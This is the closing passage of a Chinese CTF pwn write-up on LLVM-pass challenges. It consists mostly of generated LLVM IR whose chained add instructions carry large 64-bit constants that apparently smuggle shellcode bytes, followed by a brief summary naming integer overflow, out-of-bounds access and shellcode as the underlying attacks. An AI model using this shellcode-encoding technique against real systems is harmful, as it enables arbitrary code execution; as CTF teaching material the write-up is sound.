%71 = add nsw i64 %70, 43499
%72 = add nsw i64 %71, 43499
%73 = add nsw i64 %72, 43499
%74 = add nsw i64 %73, 43499
%75 = add nsw i64 %74, 43499
%76 = add nsw i64 %75, 43499
%77 = add nsw i64 %76, 43499
%78 = add nsw i64 %77, 43499
%79 = add nsw i64 %78, 43499
%80 = add nsw i64 %79, 43499
%81 = add nsw i64 %80, 43499
%82 = add nsw i64 %81, 43499
%83 = add nsw i64 %82, 43499
%84 = add nsw i64 %83, 43499
%85 = add nsw i64 %84, 43499
%86 = add nsw i64 %85, 43499
%87 = add nsw i64 %86, 43499
%88 = add nsw i64 %87, 43499
%89 = add nsw i64 %88, 43499
%90 = add nsw i64 %89, 43499
%91 = add nsw i64 %90, 43499
%92 = add nsw i64 %91, 43499
%93 = add nsw i64 %92, 43499
%94 = add nsw i64 %93, 43499
%95 = add nsw i64 %94, 43499
%96 = add nsw i64 %95, 43499
%97 = add nsw i64 %96, 43499
%98 = add nsw i64 %97, 43499
%99 = add nsw i64 %98, 43499
%100 = add nsw i64 %99, 43499
%101 = add nsw i64 %100, 43499
%102 = add nsw i64 %101, 43499
%103 = add nsw i64 %102, 43499
%104 = add nsw i64 %103, 43499
%105 = add nsw i64 %104, 43499
%106 = add nsw i64 %105, 43499
%107 = add nsw i64 %106, 43499
%108 = add nsw i64 %107, 43499
%109 = add nsw i64 %108, 43499
%110 = add nsw i64 %109, 43499
%111 = add nsw i64 %110, 43499
%112 = add nsw i64 %111, 43499
%113 = add nsw i64 %112, 43499
%114 = add nsw i64 %113, 43499
%115 = add nsw i64 %114, 43499
%116 = add nsw i64 %115, 43499
%117 = add nsw i64 %116, 43499
%118 = add nsw i64 %117, 43499
%119 = add nsw i64 %118, 43499
%120 = add nsw i64 %119, 43499
%121 = add nsw i64 %120, 43499
%122 = add nsw i64 %121, 43499
%123 = add nsw i64 %122, 43499
%124 = add nsw i64 %123, 43499
%125 = add nsw i64 %124, 43499
%126 = add nsw i64 %125, 43499
%127 = add nsw i64 %126, 43499
%128 = add nsw i64 %127, 43499
%129 = add nsw i64 %128, 43499
%130 = add nsw i64 %129, 43499
%131 = add nsw i64 %130, 43499
%132 = add nsw i64 %131, 43499
%133 = add nsw i64 %132, 43499
%134 = add nsw i64 %133, 43499
%135 = add nsw i64 %134, 43499
%136 = add nsw i64 %135, 43499
%137 = add nsw i64 %136, 43499
%138 = add nsw i64 %137, 43499
%139 = add nsw i64 %138, 43499
%140 = add nsw i64 %139, 43499
%141 = add nsw i64 %140, 43499
%142 = add nsw i64 %141, 43499
%143 = add nsw i64 %142, 43499
%144 = add nsw i64 %143, 43499
%145 = add nsw i64 %144, 43499
%146 = add nsw i64 %145, 43499
%147 = add nsw i64 %146, 43499
%148 = add nsw i64 %147, 43499
%149 = add nsw i64 %148, 43499
%150 = add nsw i64 %149, 43499
%151 = add nsw i64 %150, 43499
%152 = add nsw i64 %151, 43499
%153 = add nsw i64 %152, 43499
%154 = add nsw i64 %153, 43499
%155 = add nsw i64 %154, 43499
%156 = add nsw i64 %155, 43499
%157 = add nsw i64 %156, 43499
%158 = add nsw i64 %157, 43499
%159 = add nsw i64 %158, 43499
%160 = add nsw i64 %159, 43499
%161 = add nsw i64 %160, 43499
%162 = add nsw i64 %161, 43499
%163 = add nsw i64 %162, 43499
%164 = add nsw i64 %163, 43499
%165 = add nsw i64 %164, 43499
%166 = add nsw i64 %165, 43499
%167 = add nsw i64 %166, 43499
%168 = add nsw i64 %167, 43499
%169 = add nsw i64 %168, 43499
%170 = add nsw i64 %169, 43499
%171 = add nsw i64 %170, 43499
%172 = add nsw i64 %171, 43499
%173 = add nsw i64 %172, 43499
%174 = add nsw i64 %173, 43499
%175 = add nsw i64 %174, 43499
%176 = add nsw i64 %175, 43499
%177 = add nsw i64 %176, 43499
%178 = add nsw i64 %177, 43499
%179 = add nsw i64 %178, 43499
%180 = add nsw i64 %179, 43499
%181 = add nsw i64 %180, 43499
%182 = add nsw i64 %181, 43499
%183 = add nsw i64 %182, 43499
%184 = add nsw i64 %183, 43499
%185 = add nsw i64 %184, 43499
%186 = add nsw i64 %185, 43499
%187 = add nsw i64 %186, 43499
%188 = add nsw i64 %187, 43499
%189 = add nsw i64 %188, 43499
%190 = add nsw i64 %189, 43499
%191 = add nsw i64 %190, 43499
%192 = add nsw i64 %191, 43499
%193 = add nsw i64 %192, 43499
%194 = add nsw i64 %193, 43499
%195 = add nsw i64 %194, 43499
%196 = add nsw i64 %195, 43499
%197 = add nsw i64 %196, 43499
%198 = add nsw i64 %197, 43499
%199 = add nsw i64 %198, 43499
%200 = add nsw i64 %199, 43499
%201 = add nsw i64 %200, 43499
%202 = add nsw i64 %201, 43499
%203 = add nsw i64 %202, 43499
%204 = add nsw i64 %203, 43499
%205 = add nsw i64 %204, 43499
%206 = add nsw i64 %205, 43499
%207 = add nsw i64 %206, 43499
%208 = add nsw i64 %207, 43499
%209 = add nsw i64 %208, 43499
%210 = add nsw i64 %209, 43499
%211 = add nsw i64 %210, 43499
%212 = add nsw i64 %211, 43499
%213 = add nsw i64 %212, 43499
%214 = add nsw i64 %213, 43499
%215 = add nsw i64 %214, 43499
%216 = add nsw i64 %215, 43499
%217 = add nsw i64 %216, 43499
%218 = add nsw i64 %217, 43499
%219 = add nsw i64 %218, 43499
%220 = add nsw i64 %219, 43499
%221 = add nsw i64 %220, 43499
%222 = add nsw i64 %221, 43499
%223 = add nsw i64 %222, 43499
%224 = add nsw i64 %223, 43499
%225 = add nsw i64 %224, 43499
%226 = add nsw i64 %225, 43499
%227 = add nsw i64 %226, 43499
%228 = add nsw i64 %227, 43499
%229 = add nsw i64 %228, 43499
%230 = add nsw i64 %229, 43499
%231 = add nsw i64 %230, 43499
%232 = add nsw i64 %231, 43499
%233 = add nsw i64 %232, 43499
%234 = add nsw i64 %233, 43499
%235 = add nsw i64 %234, 43499
%236 = add nsw i64 %235, 43499
%237 = add nsw i64 %236, 43499
%238 = add nsw i64 %237, 43499
%239 = add nsw i64 %238, 43499
%240 = add nsw i64 %239, 43499
%241 = add nsw i64 %240, 43499
%242 = add nsw i64 %241, 43499
%243 = add nsw i64 %242, 43499
%244 = add nsw i64 %243, 43499
%245 = add nsw i64 %244, 43499
%246 = add nsw i64 %245, 43499
%247 = add nsw i64 %246, 43499
%248 = add nsw i64 %247, 43499
%249 = add nsw i64 %248, 43499
%250 = add nsw i64 %249, 43499
%251 = add nsw i64 %250, 43499
%252 = add nsw i64 %251, 43499
%253 = add nsw i64 %252, 43499
%254 = add nsw i64 %253, 43499
%255 = add nsw i64 %254, 43499
%256 = add nsw i64 %255, 43499
%257 = add nsw i64 %256, 43499
%258 = add nsw i64 %257, 43499
%259 = add nsw i64 %258, 43499
%260 = add nsw i64 %259, 43499
%261 = add nsw i64 %260, 43499
%262 = add nsw i64 %261, 43499
%263 = add nsw i64 %262, 43499
%264 = add nsw i64 %263, 43499
%265 = add nsw i64 %264, 43499
%266 = add nsw i64 %265, 43499
%267 = add nsw i64 %266, 43499
%268 = add nsw i64 %267, 43499
%269 = add nsw i64 %268, 43499
%270 = add nsw i64 %269, 43499
%271 = add nsw i64 %270, 43499
%272 = add nsw i64 %271, 43499
%273 = add nsw i64 %272, 43499
%274 = add nsw i64 %273, 43499
%275 = add nsw i64 %274, 43499
%276 = add nsw i64 %275, 43499
%277 = add nsw i64 %276, 43499
%278 = add nsw i64 %277, 43499
%279 = add nsw i64 %278, 43499
%280 = add nsw i64 %279, 43499
%281 = add nsw i64 %280, 43499
%282 = add nsw i64 %281, 43499
%283 = add nsw i64 %282, 43499
%284 = add nsw i64 %283, 43499
%285 = add nsw i64 %284, 43499
%286 = add nsw i64 %285, 43499
%287 = add nsw i64 %286, 43499
%288 = add nsw i64 %287, 43499
%289 = add nsw i64 %288, 43499
%290 = add nsw i64 %289, 43499
%291 = add nsw i64 %290, 43499
%292 = add nsw i64 %291, 43499
%293 = add nsw i64 %292, 43499
%294 = add nsw i64 %293, 43499
%295 = add nsw i64 %294, 43499
%296 = add nsw i64 %295, 43499
%297 = add nsw i64 %296, 43499
%298 = add nsw i64 %297, 43499
%299 = add nsw i64 %298, 43499
%300 = add nsw i64 %299, 43499
%301 = add nsw i64 %300, 43499
%302 = add nsw i64 %301, 43499
%303 = add nsw i64 %302, 43499
%304 = add nsw i64 %303, 43499
%305 = add nsw i64 %304, 43499
%306 = add nsw i64 %305, 43499
%307 = add nsw i64 %306, 43499
%308 = add nsw i64 %307, 43499
%309 = add nsw i64 %308, 43499
%310 = add nsw i64 %309, 43499
%311 = add nsw i64 %310, 43499
%312 = add nsw i64 %311, 43499
%313 = add nsw i64 %312, 43499
%314 = add nsw i64 %313, 43499
%315 = add nsw i64 %314, 1
%316 = add nsw i64 %315, 1
%317 = add nsw i64 %316, 1
%318 = add nsw i64 %317, 1
ret i64 %318
}
define dso_local i64 @test2(i64 %0) local_unnamed_addr #0 {
%2 = add nsw i64 %0, 16999839549866848191
%3 = add nsw i64 %2, 16999840167141818696
%4 = add nsw i64 %3, 16999840022328913854
%5 = add nsw i64 %4, 16999840169021866312
%6 = add nsw i64 %5, 16999840169015152727
%7 = add nsw i64 %6, 16999840169020852552
%8 = add nsw i64 %7, 16999840169021813064
%9 = add nsw i64 %8, 16999840169019453768
%10 = add nsw i64 %9, 16999839548114484152
%11 = add nsw i64 %10, 16999840169015117071
%12 = add nsw i64 %11, 43499
%13 = add nsw i64 %12, 43499
%14 = add nsw i64 %13, 43499
%15 = add nsw i64 %14, 43499
%16 = add nsw i64 %15, 43499
%17 = add nsw i64 %16, 43499
%18 = add nsw i64 %17, 43499
%19 = add nsw i64 %18, 43499
%20 = add nsw i64 %19, 43499
%21 = add nsw i64 %20, 43499
%22 = add nsw i64 %21, 43499
%23 = add nsw i64 %22, 43499
%24 = add nsw i64 %23, 43499
%25 = add nsw i64 %24, 43499
%26 = add nsw i64 %25, 43499
%27 = add nsw i64 %26, 43499
%28 = add nsw i64 %27, 43499
%29 = add nsw i64 %28, 43499
%30 = add nsw i64 %29, 43499
%31 = add nsw i64 %30, 43499
%32 = add nsw i64 %31, 43499
%33 = add nsw i64 %32, 43499
%34 = add nsw i64 %33, 43499
%35 = add nsw i64 %34, 43499
%36 = add nsw i64 %35, 43499
%37 = add nsw i64 %36, 43499
%38 = add nsw i64 %37, 43499
%39 = add nsw i64 %38, 43499
%40 = add nsw i64 %39, 43499
%41 = add nsw i64 %40, 43499
%42 = add nsw i64 %41, 43499
%43 = add nsw i64 %42, 43499
%44 = add nsw i64 %43, 43499
%45 = add nsw i64 %44, 43499
%46 = add nsw i64 %45, 43499
%47 = add nsw i64 %46, 43499
%48 = add nsw i64 %47, 43499
%49 = add nsw i64 %48, 43499
%50 = add nsw i64 %49, 43499
%51 = add nsw i64 %50, 43499
%52 = add nsw i64 %51, 43499
%53 = add nsw i64 %52, 43499
%54 = add nsw i64 %53, 43499
%55 = add nsw i64 %54, 43499
%56 = add nsw i64 %55, 43499
%57 = add nsw i64 %56, 43499
%58 = add nsw i64 %57, 43499
%59 = add nsw i64 %58, 43499
%60 = add nsw i64 %59, 43499
%61 = add nsw i64 %60, 43499
%62 = add nsw i64 %61, 43499
%63 = add nsw i64 %62, 43499
%64 = add nsw i64 %63, 43499
%65 = add nsw i64 %64, 43499
%66 = add nsw i64 %65, 43499
%67 = add nsw i64 %66, 43499
%68 = add nsw i64 %67, 43499
%69 = add nsw i64 %68, 43499
%70 = add nsw i64 %69, 43499
%71 = add nsw i64 %70, 43499
%72 = add nsw i64 %71, 43499
%73 = add nsw i64 %72, 43499
%74 = add nsw i64 %73, 43499
%75 = add nsw i64 %74, 43499
%76 = add nsw i64 %75, 43499
%77 = add nsw i64 %76, 43499
%78 = add nsw i64 %77, 43499
%79 = add nsw i64 %78, 43499
%80 = add nsw i64 %79, 43499
%81 = add nsw i64 %80, 43499
%82 = add nsw i64 %81, 43499
%83 = add nsw i64 %82, 43499
%84 = add nsw i64 %83, 43499
%85 = add nsw i64 %84, 43499
%86 = add nsw i64 %85, 43499
%87 = add nsw i64 %86, 43499
%88 = add nsw i64 %87, 43499
%89 = add nsw i64 %88, 43499
%90 = add nsw i64 %89, 43499
%91 = add nsw i64 %90, 43499
%92 = add nsw i64 %91, 43499
%93 = add nsw i64 %92, 43499
%94 = add nsw i64 %93, 43499
%95 = add nsw i64 %94, 43499
%96 = add nsw i64 %95, 43499
%97 = add nsw i64 %96, 43499
%98 = add nsw i64 %97, 43499
%99 = add nsw i64 %98, 43499
%100 = add nsw i64 %99, 43499
%101 = add nsw i64 %100, 43499
%102 = add nsw i64 %101, 43499
%103 = add nsw i64 %102, 43499
%104 = add nsw i64 %103, 43499
%105 = add nsw i64 %104, 43499
%106 = add nsw i64 %105, 43499
%107 = add nsw i64 %106, 43499
%108 = add nsw i64 %107, 43499
%109 = add nsw i64 %108, 43499
%110 = add nsw i64 %109, 43499
%111 = add nsw i64 %110, 43499
%112 = add nsw i64 %111, 43499
%113 = add nsw i64 %112, 43499
%114 = add nsw i64 %113, 43499
%115 = add nsw i64 %114, 43499
%116 = add nsw i64 %115, 43499
%117 = add nsw i64 %116, 43499
%118 = add nsw i64 %117, 43499
%119 = add nsw i64 %118, 43499
%120 = add nsw i64 %119, 43499
%121 = add nsw i64 %120, 43499
%122 = add nsw i64 %121, 43499
%123 = add nsw i64 %122, 43499
%124 = add nsw i64 %123, 43499
%125 = add nsw i64 %124, 43499
%126 = add nsw i64 %125, 43499
%127 = add nsw i64 %126, 43499
%128 = add nsw i64 %127, 43499
%129 = add nsw i64 %128, 43499
%130 = add nsw i64 %129, 43499
%131 = add nsw i64 %130, 43499
%132 = add nsw i64 %131, 43499
%133 = add nsw i64 %132, 43499
%134 = add nsw i64 %133, 43499
%135 = add nsw i64 %134, 43499
%136 = add nsw i64 %135, 43499
%137 = add nsw i64 %136, 43499
%138 = add nsw i64 %137, 43499
%139 = add nsw i64 %138, 43499
%140 = add nsw i64 %139, 43499
%141 = add nsw i64 %140, 43499
%142 = add nsw i64 %141, 43499
%143 = add nsw i64 %142, 43499
%144 = add nsw i64 %143, 43499
%145 = add nsw i64 %144, 43499
%146 = add nsw i64 %145, 43499
%147 = add nsw i64 %146, 43499
%148 = add nsw i64 %147, 43499
%149 = add nsw i64 %148, 43499
%150 = add nsw i64 %149, 43499
%151 = add nsw i64 %150, 43499
%152 = add nsw i64 %151, 43499
%153 = add nsw i64 %152, 43499
%154 = add nsw i64 %153, 43499
%155 = add nsw i64 %154, 43499
%156 = add nsw i64 %155, 43499
%157 = add nsw i64 %156, 43499
%158 = add nsw i64 %157, 43499
%159 = add nsw i64 %158, 43499
%160 = add nsw i64 %159, 43499
%161 = add nsw i64 %160, 43499
%162 = add nsw i64 %161, 43499
%163 = add nsw i64 %162, 43499
%164 = add nsw i64 %163, 43499
%165 = add nsw i64 %164, 43499
%166 = add nsw i64 %165, 43499
%167 = add nsw i64 %166, 43499
%168 = add nsw i64 %167, 43499
%169 = add nsw i64 %168, 43499
%170 = add nsw i64 %169, 43499
%171 = add nsw i64 %170, 43499
%172 = add nsw i64 %171, 43499
%173 = add nsw i64 %172, 43499
%174 = add nsw i64 %173, 43499
%175 = add nsw i64 %174, 43499
%176 = add nsw i64 %175, 43499
%177 = add nsw i64 %176, 43499
%178 = add nsw i64 %177, 43499
%179 = add nsw i64 %178, 43499
%180 = add nsw i64 %179, 43499
%181 = add nsw i64 %180, 43499
%182 = add nsw i64 %181, 43499
%183 = add nsw i64 %182, 43499
%184 = add nsw i64 %183, 43499
%185 = add nsw i64 %184, 43499
%186 = add nsw i64 %185, 43499
%187 = add nsw i64 %186, 43499
%188 = add nsw i64 %187, 43499
%189 = add nsw i64 %188, 43499
%190 = add nsw i64 %189, 43499
%191 = add nsw i64 %190, 43499
%192 = add nsw i64 %191, 43499
%193 = add nsw i64 %192, 43499
%194 = add nsw i64 %193, 43499
%195 = add nsw i64 %194, 43499
%196 = add nsw i64 %195, 43499
%197 = add nsw i64 %196, 43499
%198 = add nsw i64 %197, 43499
%199 = add nsw i64 %198, 43499
%200 = add nsw i64 %199, 43499
%201 = add nsw i64 %200, 43499
%202 = add nsw i64 %201, 43499
%203 = add nsw i64 %202, 43499
%204 = add nsw i64 %203, 43499
%205 = add nsw i64 %204, 43499
%206 = add nsw i64 %205, 43499
%207 = add nsw i64 %206, 43499
%208 = add nsw i64 %207, 43499
%209 = add nsw i64 %208, 43499
%210 = add nsw i64 %209, 43499
%211 = add nsw i64 %210, 43499
%212 = add nsw i64 %211, 43499
%213 = add nsw i64 %212, 43499
%214 = add nsw i64 %213, 43499
%215 = add nsw i64 %214, 43499
%216 = add nsw i64 %215, 43499
%217 = add nsw i64 %216, 43499
%218 = add nsw i64 %217, 43499
%219 = add nsw i64 %218, 43499
%220 = add nsw i64 %219, 43499
%221 = add nsw i64 %220, 43499
%222 = add nsw i64 %221, 43499
%223 = add nsw i64 %222, 43499
%224 = add nsw i64 %223, 43499
%225 = add nsw i64 %224, 43499
%226 = add nsw i64 %225, 43499
%227 = add nsw i64 %226, 43499
%228 = add nsw i64 %227, 43499
%229 = add nsw i64 %228, 43499
%230 = add nsw i64 %229, 43499
%231 = add nsw i64 %230, 43499
%232 = add nsw i64 %231, 43499
%233 = add nsw i64 %232, 43499
%234 = add nsw i64 %233, 43499
%235 = add nsw i64 %234, 43499
%236 = add nsw i64 %235, 43499
%237 = add nsw i64 %236, 43499
%238 = add nsw i64 %237, 43499
%239 = add nsw i64 %238, 43499
%240 = add nsw i64 %239, 43499
%241 = add nsw i64 %240, 43499
%242 = add nsw i64 %241, 43499
%243 = add nsw i64 %242, 43499
%244 = add nsw i64 %243, 43499
%245 = add nsw i64 %244, 43499
%246 = add nsw i64 %245, 43499
%247 = add nsw i64 %246, 43499
%248 = add nsw i64 %247, 43499
%249 = add nsw i64 %248, 43499
%250 = add nsw i64 %249, 43499
%251 = add nsw i64 %250, 43499
%252 = add nsw i64 %251, 43499
%253 = add nsw i64 %252, 43499
%254 = add nsw i64 %253, 43499
%255 = add nsw i64 %254, 43499
%256 = add nsw i64 %255, 43499
%257 = add nsw i64 %256, 43499
%258 = add nsw i64 %257, 43499
%259 = add nsw i64 %258, 43499
%260 = add nsw i64 %259, 43499
%261 = add nsw i64 %260, 43499
%262 = add nsw i64 %261, 43499
%263 = add nsw i64 %262, 43499
%264 = add nsw i64 %263, 43499
%265 = add nsw i64 %264, 43499
%266 = add nsw i64 %265, 43499
%267 = add nsw i64 %266, 43499
%268 = add nsw i64 %267, 43499
%269 = add nsw i64 %268, 43499
%270 = add nsw i64 %269, 43499
%271 = add nsw i64 %270, 43499
%272 = add nsw i64 %271, 43499
%273 = add nsw i64 %272, 43499
%274 = add nsw i64 %273, 43499
%275 = add nsw i64 %274, 43499
%276 = add nsw i64 %275, 43499
%277 = add nsw i64 %276, 43499
%278 = add nsw i64 %277, 43499
%279 = add nsw i64 %278, 43499
%280 = add nsw i64 %279, 43499
%281 = add nsw i64 %280, 43499
%282 = add nsw i64 %281, 43499
%283 = add nsw i64 %282, 43499
%284 = add nsw i64 %283, 43499
%285 = add nsw i64 %284, 43499
%286 = add nsw i64 %285, 43499
%287 = add nsw i64 %286, 43499
%288 = add nsw i64 %287, 43499
%289 = add nsw i64 %288, 43499
%290 = add nsw i64 %289, 43499
%291 = add nsw i64 %290, 43499
%292 = add nsw i64 %291, 43499
%293 = add nsw i64 %292, 43499
%294 = add nsw i64 %293, 43499
%295 = add nsw i64 %294, 43499
%296 = add nsw i64 %295, 43499
%297 = add nsw i64 %296, 43499
%298 = add nsw i64 %297, 43499
%299 = add nsw i64 %298, 43499
%300 = add nsw i64 %299, 43499
%301 = add nsw i64 %300, 43499
%302 = add nsw i64 %301, 43499
%303 = add nsw i64 %302, 43499
%304 = add nsw i64 %303, 43499
%305 = add nsw i64 %304, 43499
%306 = add nsw i64 %305, 43499
%307 = add nsw i64 %306, 43499
%308 = add nsw i64 %307, 43499
%309 = add nsw i64 %308, 43499
%310 = add nsw i64 %309, 43499
%311 = add nsw i64 %310, 43499
%312 = add nsw i64 %311, 43499
%313 = add nsw i64 %312, 1
%314 = add nsw i64 %313, 1
%315 = add nsw i64 %314, 1
%316 = add nsw i64 %315, 1
%317 = add nsw i64 %316, 1
%318 = add nsw i64 %317, 1
%319 = add nsw i64 %318, 1
%320 = add nsw i64 %319, 1
%321 = add nsw i64 %320, 1
ret i64 %321
}
# 总结
作为一种比较新的 pwn 题类型,可以发现其实只是把攻击换了一个形式,同样是整数溢出、数组越界、shellcode,套上 llvm 的皮后确实也难倒了我,通过这几道题,学习到了 llvm 的一些知识,层层解析后貌似也没那么难。最后,针对 qwb 题目而言,这么多函数居然一个没用上,有点意外(逃。
本作品采用 知识共享署名-非商业性使用-禁止演绎 4.0 国际许可协议 进行许可。